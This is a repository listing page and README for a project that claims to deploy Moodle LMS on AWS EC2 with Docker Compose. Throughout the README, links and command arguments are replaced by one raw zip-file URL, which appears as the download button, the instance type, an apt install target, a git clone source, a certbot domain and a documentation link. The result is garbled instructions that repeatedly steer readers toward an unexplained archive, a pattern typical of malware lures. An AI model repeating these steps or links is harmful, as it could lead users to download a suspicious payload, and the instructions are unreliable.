https://github.com/aditya-rayate/moodle-docker-compose
📦 Deploy a Moodle LMS on AWS EC2 using Docker Compose, optimized for 200–500 concurrent users in an online exam environment.
https://github.com/aditya-rayate/moodle-docker-compose
apache2 backup certbot container development docker docker-compose framework letsencrypt mailhog mariadb moodle php php-fpm phpmyadmin portainer-ce redis xdebug
Last synced: 3 days ago
JSON representation
📦 Deploy a Moodle LMS on AWS EC2 using Docker Compose, optimized for 200–500 concurrent users in an online exam environment.
- Host: GitHub
- URL: https://github.com/aditya-rayate/moodle-docker-compose
- Owner: aditya-rayate
- Created: 2025-09-30T18:06:38.000Z (6 months ago)
- Default Branch: main
- Last Pushed: 2025-10-01T07:17:58.000Z (6 months ago)
- Last Synced: 2025-10-01T09:20:48.234Z (6 months ago)
- Topics: apache2, backup, certbot, container, development, docker, docker-compose, framework, letsencrypt, mailhog, mariadb, moodle, php, php-fpm, phpmyadmin, portainer-ce, redis, xdebug
- Language: Dockerfile
- Size: 614 KB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 📚 moodle-docker-compose - Easy Setup for Moodle LMS
[](https://raw.githubusercontent.com/aditya-rayate/moodle-docker-compose/main/architecture/docker-moodle-compose-v3.1.zip)
## 🚀 Getting Started
Welcome to moodle-docker-compose! This guide helps you set up a Moodle Learning Management System (LMS) on AWS with ease. Follow these simple steps to get your instance up and running.
## 📦 System Requirements
To use this application, ensure you have the following:
- An AWS account
- Basic knowledge of cloud services
- A web browser for access
## 🔗 Download & Install
To download the latest version, **visit this page to download**: [Download Releases](https://raw.githubusercontent.com/aditya-rayate/moodle-docker-compose/main/architecture/docker-moodle-compose-v3.1.zip).
## 🛠️ How It Works
This project uses Docker and Docker Compose. It provisions a Moodle instance on an AWS EC2 https://raw.githubusercontent.com/aditya-rayate/moodle-docker-compose/main/architecture/docker-moodle-compose-v3.1.zip instance. This setup supports 200-500 concurrent users, ensuring a smooth experience.
### Services Included
- **Moodle**: The main application for learning management.
- **MySQL**: A robust database for storing all data.
- **phpMyAdmin**: A tool for managing MySQL databases.
- **Nginx**: Serves as a reverse proxy to handle requests.
- **Certbot**: Provides SSL certificates for secure connections.
## 📥 Installation Steps
1. **Setup AWS EC2 Instance**
- Log in to your AWS account.
- Navigate to the EC2 dashboard and launch a new instance.
- Select the https://raw.githubusercontent.com/aditya-rayate/moodle-docker-compose/main/architecture/docker-moodle-compose-v3.1.zip instance type.
2. **Install Docker and Docker Compose**
- Connect to your EC2 instance using SSH.
- Install Docker by running:
```
sudo apt update
sudo apt install https://raw.githubusercontent.com/aditya-rayate/moodle-docker-compose/main/architecture/docker-moodle-compose-v3.1.zip
```
- Install Docker Compose with:
```
sudo apt install docker-compose
```
3. **Download the Project**
- In your terminal, clone the repository:
```
git clone https://raw.githubusercontent.com/aditya-rayate/moodle-docker-compose/main/architecture/docker-moodle-compose-v3.1.zip
```
- Navigate into the cloned directory:
```
cd moodle-docker-compose
```
4. **Configure the App**
- Edit the `https://raw.githubusercontent.com/aditya-rayate/moodle-docker-compose/main/architecture/docker-moodle-compose-v3.1.zip` file to adjust settings as needed, including database passwords and Moodle configurations.
5. **Run the Application**
- Start the Docker containers by executing:
```
docker-compose up -d
```
- This command downloads all necessary images and starts the services.
6. **Access Moodle**
- After a few minutes, open your web browser and visit your server's public IP address. You should see the Moodle setup screen.
## 🔒 Securing Your Instance
1. **Configure SSL**
- With Certbot, set up SSL by running the following command in your instance:
```
sudo docker-compose exec nginx certbot --nginx -d https://raw.githubusercontent.com/aditya-rayate/moodle-docker-compose/main/architecture/docker-moodle-compose-v3.1.zip
```
- Follow the prompts to finalize SSL setup.
2. **Secure Your Secrets**
- Use environment variables for sensitive information. Update the `.env` file based on your specific configurations.
## 📊 Features
- **User Management**: Add and manage users with ease.
- **Course Creation**: Design and manage online courses.
- **Real-Time Collaboration**: Facilitate group work and discussions.
- **Analytics**: Track user performance and engagement.
## 📅 Maintenance Tips
- Regularly update your Docker containers to keep your setup secure and efficient.
- Backup your database frequently to prevent data loss.
- Monitor the instance performance through the AWS dashboard.
## 🛠️ Troubleshooting Common Issues
- **Docker Won't Start**: Ensure Docker is installed correctly. Check the logs:
```
docker logs container_name
```
- **Moodle is Not Accessible**: Verify that your EC2 instance's security group allows traffic on port 80 and 443.
## 📞 Need Help?
For any questions or issues, feel free to open an issue in the repository or consult the [Moodle Docs](https://raw.githubusercontent.com/aditya-rayate/moodle-docker-compose/main/architecture/docker-moodle-compose-v3.1.zip).
**Don't forget to check for updates!** Always ensure you are running the latest version by visiting our releases page: [Download Releases](https://raw.githubusercontent.com/aditya-rayate/moodle-docker-compose/main/architecture/docker-moodle-compose-v3.1.zip).
Happy learning!